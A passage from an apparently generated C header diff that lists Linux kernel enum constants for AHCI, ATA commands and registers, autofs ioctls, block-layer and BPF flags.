PORT_IRQ_SDB_FIS = 8, + PORT_IRQ_DMAS_FIS = 4, + PORT_IRQ_PIOS_FIS = 2, + PORT_IRQ_D2H_REG_FIS = 1, + PORT_IRQ_FREEZE = 683671632, + PORT_IRQ_ERROR = 2025848912, + DEF_PORT_IRQ = 2025848959, + PORT_CMD_ASP = 134217728, + PORT_CMD_ALPE = 67108864, + PORT_CMD_ATAPI = 16777216, + PORT_CMD_FBSCP = 4194304, + PORT_CMD_ESP = 2097152, + PORT_CMD_CPD = 1048576, + PORT_CMD_MPSP = 524288, + PORT_CMD_HPCP = 262144, + PORT_CMD_PMP = 131072, + PORT_CMD_LIST_ON = 32768, + PORT_CMD_FIS_ON = 16384, + PORT_CMD_FIS_RX = 16, + PORT_CMD_CLO = 8, + PORT_CMD_POWER_ON = 4, + PORT_CMD_SPIN_UP = 2, + PORT_CMD_START = 1, + PORT_CMD_ICC_MASK = 4026531840, + PORT_CMD_ICC_ACTIVE = 268435456, + PORT_CMD_ICC_PARTIAL = 536870912, + PORT_CMD_ICC_SLUMBER = 1610612736, + PORT_CMD_CAP = 8126464, + PORT_FBS_DWE_OFFSET = 16, + PORT_FBS_ADO_OFFSET = 12, + PORT_FBS_DEV_OFFSET = 8, + PORT_FBS_DEV_MASK = 3840, + PORT_FBS_SDE = 4, + PORT_FBS_DEC = 2, + PORT_FBS_EN = 1, + PORT_DEVSLP_DM_OFFSET = 25, + PORT_DEVSLP_DM_MASK = 503316480, + PORT_DEVSLP_DITO_OFFSET = 15, + PORT_DEVSLP_MDAT_OFFSET = 10, + PORT_DEVSLP_DETO_OFFSET = 2, + PORT_DEVSLP_DSP = 2, + PORT_DEVSLP_ADSE = 1, + AHCI_HFLAG_NO_NCQ = 1, + AHCI_HFLAG_IGN_IRQ_IF_ERR = 2, + AHCI_HFLAG_IGN_SERR_INTERNAL = 4, + AHCI_HFLAG_32BIT_ONLY = 8, + AHCI_HFLAG_MV_PATA = 16, + AHCI_HFLAG_NO_MSI = 32, + AHCI_HFLAG_NO_PMP = 64, + AHCI_HFLAG_SECT255 = 256, + AHCI_HFLAG_YES_NCQ = 512, + AHCI_HFLAG_NO_SUSPEND = 1024, + AHCI_HFLAG_SRST_TOUT_IS_OFFLINE = 2048, + AHCI_HFLAG_NO_SNTF = 4096, + AHCI_HFLAG_NO_FPDMA_AA = 8192, + AHCI_HFLAG_YES_FBS = 16384, + AHCI_HFLAG_DELAY_ENGINE = 32768, + AHCI_HFLAG_NO_DEVSLP = 131072, + AHCI_HFLAG_NO_FBS = 262144, + AHCI_HFLAG_MULTI_MSI = 1048576, + AHCI_HFLAG_WAKE_BEFORE_STOP = 4194304, + AHCI_HFLAG_YES_ALPM = 8388608, + AHCI_HFLAG_NO_WRITE_TO_RO = 16777216, + AHCI_HFLAG_SUSPEND_PHYS = 33554432, + AHCI_HFLAG_NO_SXS = 67108864, + AHCI_HFLAG_43BIT_ONLY = 134217728, + AHCI_HFLAG_INTEL_PCS_QUIRK = 268435456, + AHCI_FLAG_COMMON = 393346, + ICH_MAP = 144, + PCS_6 = 146, + PCS_7 = 148, + EM_MAX_SLOTS = 15, + EM_MAX_RETRY = 5, + EM_CTL_RST = 512, + EM_CTL_TM = 256, + EM_CTL_MR = 1, + EM_CTL_ALHD = 67108864, + EM_CTL_XMT = 33554432, + EM_CTL_SMB = 16777216, + EM_CTL_SGPIO = 524288, + EM_CTL_SES = 262144, + EM_CTL_SAFTE = 131072, + EM_CTL_LED = 65536, + EM_MSG_TYPE_LED = 1, + EM_MSG_TYPE_SAFTE = 2, + EM_MSG_TYPE_SES2 = 4, + EM_MSG_TYPE_SGPIO = 8, +}; + +enum { + AHCI_PCI_BAR_STA2X11 = 0, + AHCI_PCI_BAR_CAVIUM = 0, + AHCI_PCI_BAR_LOONGSON = 0, + AHCI_PCI_BAR_ENMOTUS = 2, + AHCI_PCI_BAR_CAVIUM_GEN5 = 4, + AHCI_PCI_BAR_STANDARD = 5, +}; + +enum { + AML_FIELD_ACCESS_ANY = 0, + AML_FIELD_ACCESS_BYTE = 1, + AML_FIELD_ACCESS_WORD = 2, + AML_FIELD_ACCESS_DWORD = 3, + AML_FIELD_ACCESS_QWORD = 4, + AML_FIELD_ACCESS_BUFFER = 5, +}; + +enum { + AML_FIELD_ATTRIB_QUICK = 2, + AML_FIELD_ATTRIB_SEND_RECEIVE = 4, + AML_FIELD_ATTRIB_BYTE = 6, + AML_FIELD_ATTRIB_WORD = 8, + AML_FIELD_ATTRIB_BLOCK = 10, + AML_FIELD_ATTRIB_BYTES = 11, + AML_FIELD_ATTRIB_PROCESS_CALL = 12, + AML_FIELD_ATTRIB_BLOCK_PROCESS_CALL = 13, + AML_FIELD_ATTRIB_RAW_BYTES = 14, + AML_FIELD_ATTRIB_RAW_PROCESS_BYTES = 15, +}; + +enum { + AML_FIELD_UPDATE_PRESERVE = 0, + AML_FIELD_UPDATE_WRITE_AS_ONES = 32, + AML_FIELD_UPDATE_WRITE_AS_ZEROS = 64, +}; + +enum { + ARCH_LBR_BR_TYPE_JCC = 0, + ARCH_LBR_BR_TYPE_NEAR_IND_JMP = 1, + ARCH_LBR_BR_TYPE_NEAR_REL_JMP = 2, + ARCH_LBR_BR_TYPE_NEAR_IND_CALL = 3, + ARCH_LBR_BR_TYPE_NEAR_REL_CALL = 4, + ARCH_LBR_BR_TYPE_NEAR_RET = 5, + ARCH_LBR_BR_TYPE_KNOWN_MAX = 5, + ARCH_LBR_BR_TYPE_MAP_MAX = 16, +}; + +enum { + ASCII_NULL = 0, + ASCII_BELL = 7, + ASCII_BACKSPACE = 8, + ASCII_IGNORE_FIRST = 8, + ASCII_HTAB = 9, + ASCII_LINEFEED = 10, + ASCII_VTAB = 11, + ASCII_FORMFEED = 12, + ASCII_CAR_RET = 13, + ASCII_IGNORE_LAST = 13, + ASCII_SHIFTOUT = 14, + ASCII_SHIFTIN = 15, + ASCII_CANCEL = 24, + ASCII_SUBSTITUTE = 26, + ASCII_ESCAPE = 27, + ASCII_CSI_IGNORE_FIRST = 32, + ASCII_CSI_IGNORE_LAST = 63, + ASCII_DEL = 127, + ASCII_EXT_CSI = 155, +}; + +enum { + ATA_EH_SPDN_NCQ_OFF = 1, + ATA_EH_SPDN_SPEED_DOWN = 2, + ATA_EH_SPDN_FALLBACK_TO_PIO = 4, + ATA_EH_SPDN_KEEP_ERRORS = 8, + ATA_EFLAG_IS_IO = 1, + ATA_EFLAG_DUBIOUS_XFER = 2, + ATA_EFLAG_OLD_ER = -2147483648, + ATA_ECAT_NONE = 0, + ATA_ECAT_ATA_BUS = 1, + ATA_ECAT_TOUT_HSM = 2, + ATA_ECAT_UNK_DEV = 3, + ATA_ECAT_DUBIOUS_NONE = 4, + ATA_ECAT_DUBIOUS_ATA_BUS = 5, + ATA_ECAT_DUBIOUS_TOUT_HSM = 6, + ATA_ECAT_DUBIOUS_UNK_DEV = 7, + ATA_ECAT_NR = 8, + ATA_EH_CMD_DFL_TIMEOUT = 5000, + ATA_EH_RESET_COOL_DOWN = 5000, + ATA_EH_PRERESET_TIMEOUT = 10000, + ATA_EH_FASTDRAIN_INTERVAL = 3000, + ATA_EH_UA_TRIES = 5, + ATA_EH_PROBE_TRIAL_INTERVAL = 60000, + ATA_EH_PROBE_TRIALS = 2, +}; + +enum { + ATA_MAX_DEVICES = 2, + ATA_MAX_PRD = 256, + ATA_SECT_SIZE = 512, + ATA_MAX_SECTORS_128 = 128, + ATA_MAX_SECTORS = 256, + ATA_MAX_SECTORS_1024 = 1024, + ATA_MAX_SECTORS_LBA48 = 65535, + ATA_MAX_SECTORS_TAPE = 65535, + ATA_MAX_TRIM_RNUM = 64, + ATA_ID_WORDS = 256, + ATA_ID_CONFIG = 0, + ATA_ID_CYLS = 1, + ATA_ID_HEADS = 3, + ATA_ID_SECTORS = 6, + ATA_ID_SERNO = 10, + ATA_ID_BUF_SIZE = 21, + ATA_ID_FW_REV = 23, + ATA_ID_PROD = 27, + ATA_ID_MAX_MULTSECT = 47, + ATA_ID_DWORD_IO = 48, + ATA_ID_TRUSTED = 48, + ATA_ID_CAPABILITY = 49, + ATA_ID_OLD_PIO_MODES = 51, + ATA_ID_OLD_DMA_MODES = 52, + ATA_ID_FIELD_VALID = 53, + ATA_ID_CUR_CYLS = 54, + ATA_ID_CUR_HEADS = 55, + ATA_ID_CUR_SECTORS = 56, + ATA_ID_MULTSECT = 59, + ATA_ID_LBA_CAPACITY = 60, + ATA_ID_SWDMA_MODES = 62, + ATA_ID_MWDMA_MODES = 63, + ATA_ID_PIO_MODES = 64, + ATA_ID_EIDE_DMA_MIN = 65, + ATA_ID_EIDE_DMA_TIME = 66, + ATA_ID_EIDE_PIO = 67, + ATA_ID_EIDE_PIO_IORDY = 68, + ATA_ID_ADDITIONAL_SUPP = 69, + ATA_ID_QUEUE_DEPTH = 75, + ATA_ID_SATA_CAPABILITY = 76, + ATA_ID_SATA_CAPABILITY_2 = 77, + ATA_ID_FEATURE_SUPP = 78, + ATA_ID_MAJOR_VER = 80, + ATA_ID_COMMAND_SET_1 = 82, + ATA_ID_COMMAND_SET_2 = 83, + ATA_ID_CFSSE = 84, + ATA_ID_CFS_ENABLE_1 = 85, + ATA_ID_CFS_ENABLE_2 = 86, + ATA_ID_CSF_DEFAULT = 87, + ATA_ID_UDMA_MODES = 88, + ATA_ID_HW_CONFIG = 93, + ATA_ID_SPG = 98, + ATA_ID_LBA_CAPACITY_2 = 100, + ATA_ID_SECTOR_SIZE = 106, + ATA_ID_WWN = 108, + ATA_ID_LOGICAL_SECTOR_SIZE = 117, + ATA_ID_COMMAND_SET_3 = 119, + ATA_ID_COMMAND_SET_4 = 120, + ATA_ID_LAST_LUN = 126, + ATA_ID_DLF = 128, + ATA_ID_CSFO = 129, + ATA_ID_CFA_POWER = 160, + ATA_ID_CFA_KEY_MGMT = 162, + ATA_ID_CFA_MODES = 163, + ATA_ID_DATA_SET_MGMT = 169, + ATA_ID_SCT_CMD_XPORT = 206, + ATA_ID_ROT_SPEED = 217, + ATA_ID_PIO4 = 2, + ATA_ID_SERNO_LEN = 20, + ATA_ID_FW_REV_LEN = 8, + ATA_ID_PROD_LEN = 40, + ATA_ID_WWN_LEN = 8, + ATA_PCI_CTL_OFS = 2, + ATA_PIO0 = 1, + ATA_PIO1 = 3, + ATA_PIO2 = 7, + ATA_PIO3 = 15, + ATA_PIO4 = 31, + ATA_PIO5 = 63, + ATA_PIO6 = 127, + ATA_PIO4_ONLY = 16, + ATA_SWDMA0 = 1, + ATA_SWDMA1 = 3, + ATA_SWDMA2 = 7, + ATA_SWDMA2_ONLY = 4, + ATA_MWDMA0 = 1, + ATA_MWDMA1 = 3, + ATA_MWDMA2 = 7, + ATA_MWDMA3 = 15, + ATA_MWDMA4 = 31, + ATA_MWDMA12_ONLY = 6, + ATA_MWDMA2_ONLY = 4, + ATA_UDMA0 = 1, + ATA_UDMA1 = 3, + ATA_UDMA2 = 7, + ATA_UDMA3 = 15, + ATA_UDMA4 = 31, + ATA_UDMA5 = 63, + ATA_UDMA6 = 127, + ATA_UDMA7 = 255, + ATA_UDMA24_ONLY = 20, + ATA_UDMA_MASK_40C = 7, + ATA_PRD_SZ = 8, + ATA_PRD_TBL_SZ = 2048, + ATA_PRD_EOT = -2147483648, + ATA_DMA_TABLE_OFS = 4, + ATA_DMA_STATUS = 2, + ATA_DMA_CMD = 0, + ATA_DMA_WR = 8, + ATA_DMA_START = 1, + ATA_DMA_INTR = 4, + ATA_DMA_ERR = 2, + ATA_DMA_ACTIVE = 1, + ATA_HOB = 128, + ATA_NIEN = 2, + ATA_LBA = 64, + ATA_DEV1 = 16, + ATA_DEVICE_OBS = 160, + ATA_DEVCTL_OBS = 8, + ATA_BUSY = 128, + ATA_DRDY = 64, + ATA_DF = 32, + ATA_DSC = 16, + ATA_DRQ = 8, + ATA_CORR = 4, + ATA_SENSE = 2, + ATA_ERR = 1, + ATA_SRST = 4, + ATA_ICRC = 128, + ATA_BBK = 128, + ATA_UNC = 64, + ATA_MC = 32, + ATA_IDNF = 16, + ATA_MCR = 8, + ATA_ABORTED = 4, + ATA_TRK0NF = 2, + ATA_AMNF = 1, + ATAPI_LFS = 240, + ATAPI_EOM = 2, + ATAPI_ILI = 1, + ATAPI_IO = 2, + ATAPI_COD = 1, + ATA_REG_DATA = 0, + ATA_REG_ERR = 1, + ATA_REG_NSECT = 2, + ATA_REG_LBAL = 3, + ATA_REG_LBAM = 4, + ATA_REG_LBAH = 5, + ATA_REG_DEVICE = 6, + ATA_REG_STATUS = 7, + ATA_REG_FEATURE = 1, + ATA_REG_CMD = 7, + ATA_REG_BYTEL = 4, + ATA_REG_BYTEH = 5, + ATA_REG_DEVSEL = 6, + ATA_REG_IRQ = 2, + ATA_CMD_DEV_RESET = 8, + ATA_CMD_CHK_POWER = 229, + ATA_CMD_STANDBY = 226, + ATA_CMD_IDLE = 227, + ATA_CMD_EDD = 144, + ATA_CMD_DOWNLOAD_MICRO = 146, + ATA_CMD_DOWNLOAD_MICRO_DMA = 147, + ATA_CMD_NOP = 0, + ATA_CMD_FLUSH = 231, + ATA_CMD_FLUSH_EXT = 234, + ATA_CMD_ID_ATA = 236, + ATA_CMD_ID_ATAPI = 161, + ATA_CMD_SERVICE = 162, + ATA_CMD_READ = 200, + ATA_CMD_READ_EXT = 37, + ATA_CMD_READ_QUEUED = 38, + ATA_CMD_READ_STREAM_EXT = 43, + ATA_CMD_READ_STREAM_DMA_EXT = 42, + ATA_CMD_WRITE = 202, + ATA_CMD_WRITE_EXT = 53, + ATA_CMD_WRITE_QUEUED = 54, + ATA_CMD_WRITE_STREAM_EXT = 59, + ATA_CMD_WRITE_STREAM_DMA_EXT = 58, + ATA_CMD_WRITE_FUA_EXT = 61, + ATA_CMD_WRITE_QUEUED_FUA_EXT = 62, + ATA_CMD_FPDMA_READ = 96, + ATA_CMD_FPDMA_WRITE = 97, + ATA_CMD_NCQ_NON_DATA = 99, + ATA_CMD_FPDMA_SEND = 100, + ATA_CMD_FPDMA_RECV = 101, + ATA_CMD_PIO_READ = 32, + ATA_CMD_PIO_READ_EXT = 36, + ATA_CMD_PIO_WRITE = 48, + ATA_CMD_PIO_WRITE_EXT = 52, + ATA_CMD_READ_MULTI = 196, + ATA_CMD_READ_MULTI_EXT = 41, + ATA_CMD_WRITE_MULTI = 197, + ATA_CMD_WRITE_MULTI_EXT = 57, + ATA_CMD_WRITE_MULTI_FUA_EXT = 206, + ATA_CMD_SET_FEATURES = 239, + ATA_CMD_SET_MULTI = 198, + ATA_CMD_PACKET = 160, + ATA_CMD_VERIFY = 64, + ATA_CMD_VERIFY_EXT = 66, + ATA_CMD_WRITE_UNCORR_EXT = 69, + ATA_CMD_STANDBYNOW1 = 224, + ATA_CMD_IDLEIMMEDIATE = 225, + ATA_CMD_SLEEP = 230, + ATA_CMD_INIT_DEV_PARAMS = 145, + ATA_CMD_READ_NATIVE_MAX = 248, + ATA_CMD_READ_NATIVE_MAX_EXT = 39, + ATA_CMD_SET_MAX = 249, + ATA_CMD_SET_MAX_EXT = 55, + ATA_CMD_READ_LOG_EXT = 47, + ATA_CMD_WRITE_LOG_EXT = 63, + ATA_CMD_READ_LOG_DMA_EXT = 71, + ATA_CMD_WRITE_LOG_DMA_EXT = 87, + ATA_CMD_TRUSTED_NONDATA = 91, + ATA_CMD_TRUSTED_RCV = 92, + ATA_CMD_TRUSTED_RCV_DMA = 93, + ATA_CMD_TRUSTED_SND = 94, + ATA_CMD_TRUSTED_SND_DMA = 95, + ATA_CMD_PMP_READ = 228, + ATA_CMD_PMP_READ_DMA = 233, + ATA_CMD_PMP_WRITE = 232, + ATA_CMD_PMP_WRITE_DMA = 235, + ATA_CMD_CONF_OVERLAY = 177, + ATA_CMD_SEC_SET_PASS = 241, + ATA_CMD_SEC_UNLOCK = 242, + ATA_CMD_SEC_ERASE_PREP = 243, + ATA_CMD_SEC_ERASE_UNIT = 244, + ATA_CMD_SEC_FREEZE_LOCK = 245, + ATA_CMD_SEC_DISABLE_PASS = 246, + ATA_CMD_CONFIG_STREAM = 81, + ATA_CMD_SMART = 176, + ATA_CMD_MEDIA_LOCK = 222, + ATA_CMD_MEDIA_UNLOCK = 223, + ATA_CMD_DSM = 6, + ATA_CMD_CHK_MED_CRD_TYP = 209, + ATA_CMD_CFA_REQ_EXT_ERR = 3, + ATA_CMD_CFA_WRITE_NE = 56, + ATA_CMD_CFA_TRANS_SECT = 135, + ATA_CMD_CFA_ERASE = 192, + ATA_CMD_CFA_WRITE_MULT_NE = 205, + ATA_CMD_REQ_SENSE_DATA = 11, + ATA_CMD_SANITIZE_DEVICE = 180, + ATA_CMD_ZAC_MGMT_IN = 74, + ATA_CMD_ZAC_MGMT_OUT = 159, + ATA_CMD_RESTORE = 16, + ATA_SUBCMD_FPDMA_RECV_RD_LOG_DMA_EXT = 1, + ATA_SUBCMD_FPDMA_RECV_ZAC_MGMT_IN = 2, + ATA_SUBCMD_FPDMA_SEND_DSM = 0, + ATA_SUBCMD_FPDMA_SEND_WR_LOG_DMA_EXT = 2, + ATA_SUBCMD_NCQ_NON_DATA_ABORT_QUEUE = 0, + ATA_SUBCMD_NCQ_NON_DATA_SET_FEATURES = 5, + ATA_SUBCMD_NCQ_NON_DATA_ZERO_EXT = 6, + ATA_SUBCMD_NCQ_NON_DATA_ZAC_MGMT_OUT = 7, + ATA_SUBCMD_ZAC_MGMT_IN_REPORT_ZONES = 0, + ATA_SUBCMD_ZAC_MGMT_OUT_CLOSE_ZONE = 1, + ATA_SUBCMD_ZAC_MGMT_OUT_FINISH_ZONE = 2, + ATA_SUBCMD_ZAC_MGMT_OUT_OPEN_ZONE = 3, + ATA_SUBCMD_ZAC_MGMT_OUT_RESET_WRITE_POINTER = 4, + ATA_LOG_DIRECTORY = 0, + ATA_LOG_SATA_NCQ = 16, + ATA_LOG_NCQ_NON_DATA = 18, + ATA_LOG_NCQ_SEND_RECV = 19, + ATA_LOG_CDL = 24, + ATA_LOG_CDL_SIZE = 512, + ATA_LOG_IDENTIFY_DEVICE = 48, + ATA_LOG_SENSE_NCQ = 15, + ATA_LOG_SENSE_NCQ_SIZE = 1024, + ATA_LOG_CONCURRENT_POSITIONING_RANGES = 71, + ATA_LOG_SUPPORTED_CAPABILITIES = 3, + ATA_LOG_CURRENT_SETTINGS = 4, + ATA_LOG_SECURITY = 6, + ATA_LOG_SATA_SETTINGS = 8, + ATA_LOG_ZONED_INFORMATION = 9, + ATA_LOG_DEVSLP_OFFSET = 48, + ATA_LOG_DEVSLP_SIZE = 8, + ATA_LOG_DEVSLP_MDAT = 0, + ATA_LOG_DEVSLP_MDAT_MASK = 31, + ATA_LOG_DEVSLP_DETO = 1, + ATA_LOG_DEVSLP_VALID = 7, + ATA_LOG_DEVSLP_VALID_MASK = 128, + ATA_LOG_NCQ_PRIO_OFFSET = 9, + ATA_LOG_NCQ_SEND_RECV_SUBCMDS_OFFSET = 0, + ATA_LOG_NCQ_SEND_RECV_SUBCMDS_DSM = 1, + ATA_LOG_NCQ_SEND_RECV_DSM_OFFSET = 4, + ATA_LOG_NCQ_SEND_RECV_DSM_TRIM = 1, + ATA_LOG_NCQ_SEND_RECV_RD_LOG_OFFSET = 8, + ATA_LOG_NCQ_SEND_RECV_RD_LOG_SUPPORTED = 1, + ATA_LOG_NCQ_SEND_RECV_WR_LOG_OFFSET = 12, + ATA_LOG_NCQ_SEND_RECV_WR_LOG_SUPPORTED = 1, + ATA_LOG_NCQ_SEND_RECV_ZAC_MGMT_OFFSET = 16, + ATA_LOG_NCQ_SEND_RECV_ZAC_MGMT_OUT_SUPPORTED = 1, + ATA_LOG_NCQ_SEND_RECV_ZAC_MGMT_IN_SUPPORTED = 2, + ATA_LOG_NCQ_SEND_RECV_SIZE = 20, + ATA_LOG_NCQ_NON_DATA_SUBCMDS_OFFSET = 0, + ATA_LOG_NCQ_NON_DATA_ABORT_OFFSET = 0, + ATA_LOG_NCQ_NON_DATA_ABORT_NCQ = 1, + ATA_LOG_NCQ_NON_DATA_ABORT_ALL = 2, + ATA_LOG_NCQ_NON_DATA_ABORT_STREAMING = 4, + ATA_LOG_NCQ_NON_DATA_ABORT_NON_STREAMING = 8, + ATA_LOG_NCQ_NON_DATA_ABORT_SELECTED = 16, + ATA_LOG_NCQ_NON_DATA_ZAC_MGMT_OFFSET = 28, + ATA_LOG_NCQ_NON_DATA_ZAC_MGMT_OUT = 1, + ATA_LOG_NCQ_NON_DATA_SIZE = 64, + ATA_CMD_READ_LONG = 34, + ATA_CMD_READ_LONG_ONCE = 35, + ATA_CMD_WRITE_LONG = 50, + ATA_CMD_WRITE_LONG_ONCE = 51, + SETFEATURES_XFER = 3, + XFER_UDMA_7 = 71, + XFER_UDMA_6 = 70, + XFER_UDMA_5 = 69, + XFER_UDMA_4 = 68, + XFER_UDMA_3 = 67, + XFER_UDMA_2 = 66, + XFER_UDMA_1 = 65, + XFER_UDMA_0 = 64, + XFER_MW_DMA_4 = 36, + XFER_MW_DMA_3 = 35, + XFER_MW_DMA_2 = 34, + XFER_MW_DMA_1 = 33, + XFER_MW_DMA_0 = 32, + XFER_SW_DMA_2 = 18, + XFER_SW_DMA_1 = 17, + XFER_SW_DMA_0 = 16, + XFER_PIO_6 = 14, + XFER_PIO_5 = 13, + XFER_PIO_4 = 12, + XFER_PIO_3 = 11, + XFER_PIO_2 = 10, + XFER_PIO_1 = 9, + XFER_PIO_0 = 8, + XFER_PIO_SLOW = 0, + SETFEATURES_WC_ON = 2, + SETFEATURES_WC_OFF = 130, + SETFEATURES_RA_ON = 170, + SETFEATURES_RA_OFF = 85, + SETFEATURES_AAM_ON = 66, + SETFEATURES_AAM_OFF = 194, + SETFEATURES_SPINUP = 7, + SETFEATURES_SPINUP_TIMEOUT = 30000, + SETFEATURES_SATA_ENABLE = 16, + SETFEATURES_SATA_DISABLE = 144, + SETFEATURES_CDL = 13, + SATA_FPDMA_OFFSET = 1, + SATA_FPDMA_AA = 2, + SATA_DIPM = 3, + SATA_FPDMA_IN_ORDER = 4, + SATA_AN = 5, + SATA_SSP = 6, + SATA_DEVSLP = 9, + SETFEATURE_SENSE_DATA = 195, + SETFEATURE_SENSE_DATA_SUCC_NCQ = 196, + ATA_SET_MAX_ADDR = 0, + ATA_SET_MAX_PASSWD = 1, + ATA_SET_MAX_LOCK = 2, + ATA_SET_MAX_UNLOCK = 3, + ATA_SET_MAX_FREEZE_LOCK = 4, + ATA_SET_MAX_PASSWD_DMA = 5, + ATA_SET_MAX_UNLOCK_DMA = 6, + ATA_DCO_RESTORE = 192, + ATA_DCO_FREEZE_LOCK = 193, + ATA_DCO_IDENTIFY = 194, + ATA_DCO_SET = 195, + ATA_SMART_ENABLE = 216, + ATA_SMART_READ_VALUES = 208, + ATA_SMART_READ_THRESHOLDS = 209, + ATA_DSM_TRIM = 1, + ATA_SMART_LBAM_PASS = 79, + ATA_SMART_LBAH_PASS = 194, + ATAPI_PKT_DMA = 1, + ATAPI_DMADIR = 4, + ATAPI_CDB_LEN = 16, + SATA_PMP_MAX_PORTS = 15, + SATA_PMP_CTRL_PORT = 15, + SATA_PMP_GSCR_DWORDS = 128, + SATA_PMP_GSCR_PROD_ID = 0, + SATA_PMP_GSCR_REV = 1, + SATA_PMP_GSCR_PORT_INFO = 2, + SATA_PMP_GSCR_ERROR = 32, + SATA_PMP_GSCR_ERROR_EN = 33, + SATA_PMP_GSCR_FEAT = 64, + SATA_PMP_GSCR_FEAT_EN = 96, + SATA_PMP_PSCR_STATUS = 0, + SATA_PMP_PSCR_ERROR = 1, + SATA_PMP_PSCR_CONTROL = 2, + SATA_PMP_FEAT_BIST = 1, + SATA_PMP_FEAT_PMREQ = 2, + SATA_PMP_FEAT_DYNSSC = 4, + SATA_PMP_FEAT_NOTIFY = 8, + ATA_CBL_NONE = 0, + ATA_CBL_PATA40 = 1, + ATA_CBL_PATA80 = 2, + ATA_CBL_PATA40_SHORT = 3, + ATA_CBL_PATA_UNK = 4, + ATA_CBL_PATA_IGN = 5, + ATA_CBL_SATA = 6, + SCR_STATUS = 0, + SCR_ERROR = 1, + SCR_CONTROL = 2, + SCR_ACTIVE = 3, + SCR_NOTIFICATION = 4, + SERR_DATA_RECOVERED = 1, + SERR_COMM_RECOVERED = 2, + SERR_DATA = 256, + SERR_PERSISTENT = 512, + SERR_PROTOCOL = 1024, + SERR_INTERNAL = 2048, + SERR_PHYRDY_CHG = 65536, + SERR_PHY_INT_ERR = 131072, + SERR_COMM_WAKE = 262144, + SERR_10B_8B_ERR = 524288, + SERR_DISPARITY = 1048576, + SERR_CRC = 2097152, + SERR_HANDSHAKE = 4194304, + SERR_LINK_SEQ_ERR = 8388608, + SERR_TRANS_ST_ERROR = 16777216, + SERR_UNRECOG_FIS = 33554432, + SERR_DEV_XCHG = 67108864, +}; + +enum { + ATA_READID_POSTRESET = 1, + ATA_DNXFER_PIO = 0, + ATA_DNXFER_DMA = 1, + ATA_DNXFER_40C = 2, + ATA_DNXFER_FORCE_PIO = 3, + ATA_DNXFER_FORCE_PIO0 = 4, + ATA_DNXFER_QUIET = -2147483648, +}; + +enum { + AT_PKT_END = -1, + BEYOND_PKT_END = -2, +}; + +enum { + AUTOFS_DEV_IOCTL_VERSION_CMD = 113, + AUTOFS_DEV_IOCTL_PROTOVER_CMD = 114, + AUTOFS_DEV_IOCTL_PROTOSUBVER_CMD = 115, + AUTOFS_DEV_IOCTL_OPENMOUNT_CMD = 116, + AUTOFS_DEV_IOCTL_CLOSEMOUNT_CMD = 117, + AUTOFS_DEV_IOCTL_READY_CMD = 118, + AUTOFS_DEV_IOCTL_FAIL_CMD = 119, + AUTOFS_DEV_IOCTL_SETPIPEFD_CMD = 120, + AUTOFS_DEV_IOCTL_CATATONIC_CMD = 121, + AUTOFS_DEV_IOCTL_TIMEOUT_CMD = 122, + AUTOFS_DEV_IOCTL_REQUESTER_CMD = 123, + AUTOFS_DEV_IOCTL_EXPIRE_CMD = 124, + AUTOFS_DEV_IOCTL_ASKUMOUNT_CMD = 125, + AUTOFS_DEV_IOCTL_ISMOUNTPOINT_CMD = 126, +}; + +enum { + AUTOFS_IOC_READY_CMD = 96, + AUTOFS_IOC_FAIL_CMD = 97, + AUTOFS_IOC_CATATONIC_CMD = 98, + AUTOFS_IOC_PROTOVER_CMD = 99, + AUTOFS_IOC_SETTIMEOUT_CMD = 100, + AUTOFS_IOC_EXPIRE_CMD = 101, +}; + +enum { + AUTOP_INVALID = 0, + AUTOP_HDD = 1, + AUTOP_SSD_QD1 = 2, + AUTOP_SSD_DFL = 3, + AUTOP_SSD_FAST = 4, +}; + +enum { + BIAS = 2147483648, +}; + +enum { + BIOSET_NEED_BVECS = 1, + BIOSET_NEED_RESCUER = 2, + BIOSET_PERCPU_CACHE = 4, +}; + +enum { + BIO_PAGE_PINNED = 0, + BIO_CLONED = 1, + BIO_BOUNCED = 2, + BIO_QUIET = 3, + BIO_CHAIN = 4, + BIO_REFFED = 5, + BIO_BPS_THROTTLED = 6, + BIO_TRACE_COMPLETION = 7, + BIO_CGROUP_ACCT = 8, + BIO_QOS_THROTTLED = 9, + BIO_QOS_MERGED = 10, + BIO_REMAPPED = 11, + BIO_ZONE_WRITE_PLUGGING = 12, + BIO_EMULATES_ZONE_APPEND = 13, + BIO_FLAG_LAST = 14, +}; + +enum { + BLK_MQ_F_SHOULD_MERGE = 1, + BLK_MQ_F_TAG_QUEUE_SHARED = 2, + BLK_MQ_F_STACKING = 4, + BLK_MQ_F_TAG_HCTX_SHARED = 8, + BLK_MQ_F_BLOCKING = 16, + BLK_MQ_F_NO_SCHED = 32, + BLK_MQ_F_NO_SCHED_BY_DEFAULT = 64, + BLK_MQ_F_ALLOC_POLICY_START_BIT = 7, + BLK_MQ_F_ALLOC_POLICY_BITS = 1, +}; + +enum { + BLK_MQ_NO_TAG = 4294967295, + BLK_MQ_TAG_MIN = 1, + BLK_MQ_TAG_MAX = 4294967294, +}; + +enum { + BLK_MQ_REQ_NOWAIT = 1, + BLK_MQ_REQ_RESERVED = 2, + BLK_MQ_REQ_PM = 4, +}; + +enum { + BLK_MQ_S_STOPPED = 0, + BLK_MQ_S_TAG_ACTIVE = 1, + BLK_MQ_S_SCHED_RESTART = 2, + BLK_MQ_S_INACTIVE = 3, + BLK_MQ_S_MAX = 4, +}; + +enum { + BLK_MQ_UNIQUE_TAG_BITS = 16, + BLK_MQ_UNIQUE_TAG_MASK = 65535, +}; + +enum { + BLK_TAG_ALLOC_FIFO = 0, + BLK_TAG_ALLOC_RR = 1, + BLK_TAG_ALLOC_MAX = 2, +}; + +enum { + BLOCK_BITMAP = 0, + INODE_BITMAP = 1, + INODE_TABLE = 2, + GROUP_TABLE_COUNT = 3, +}; + +enum { + BPF_ADJ_ROOM_ENCAP_L2_MASK = 255, + BPF_ADJ_ROOM_ENCAP_L2_SHIFT = 56, +}; + +enum { + BPF_ANY = 0, + BPF_NOEXIST = 1, + BPF_EXIST = 2, + BPF_F_LOCK = 4, +}; + +enum { + BPF_CSUM_LEVEL_QUERY = 0, + BPF_CSUM_LEVEL_INC = 1, + BPF_CSUM_LEVEL_DEC = 2, + BPF_CSUM_LEVEL_RESET = 3, +}; + +enum { + BPF_FIB_LKUP_RET_SUCCESS = 0, + BPF_FIB_LKUP_RET_BLACKHOLE = 1, + BPF_FIB_LKUP_RET_UNREACHABLE = 2, + BPF_FIB_LKUP_RET_PROHIBIT = 3, + BPF_FIB_LKUP_RET_NOT_FWDED = 4, + BPF_FIB_LKUP_RET_FWD_DISABLED = 5, + BPF_FIB_LKUP_RET_UNSUPP_LWT = 6, + BPF_FIB_LKUP_RET_NO_NEIGH = 7, 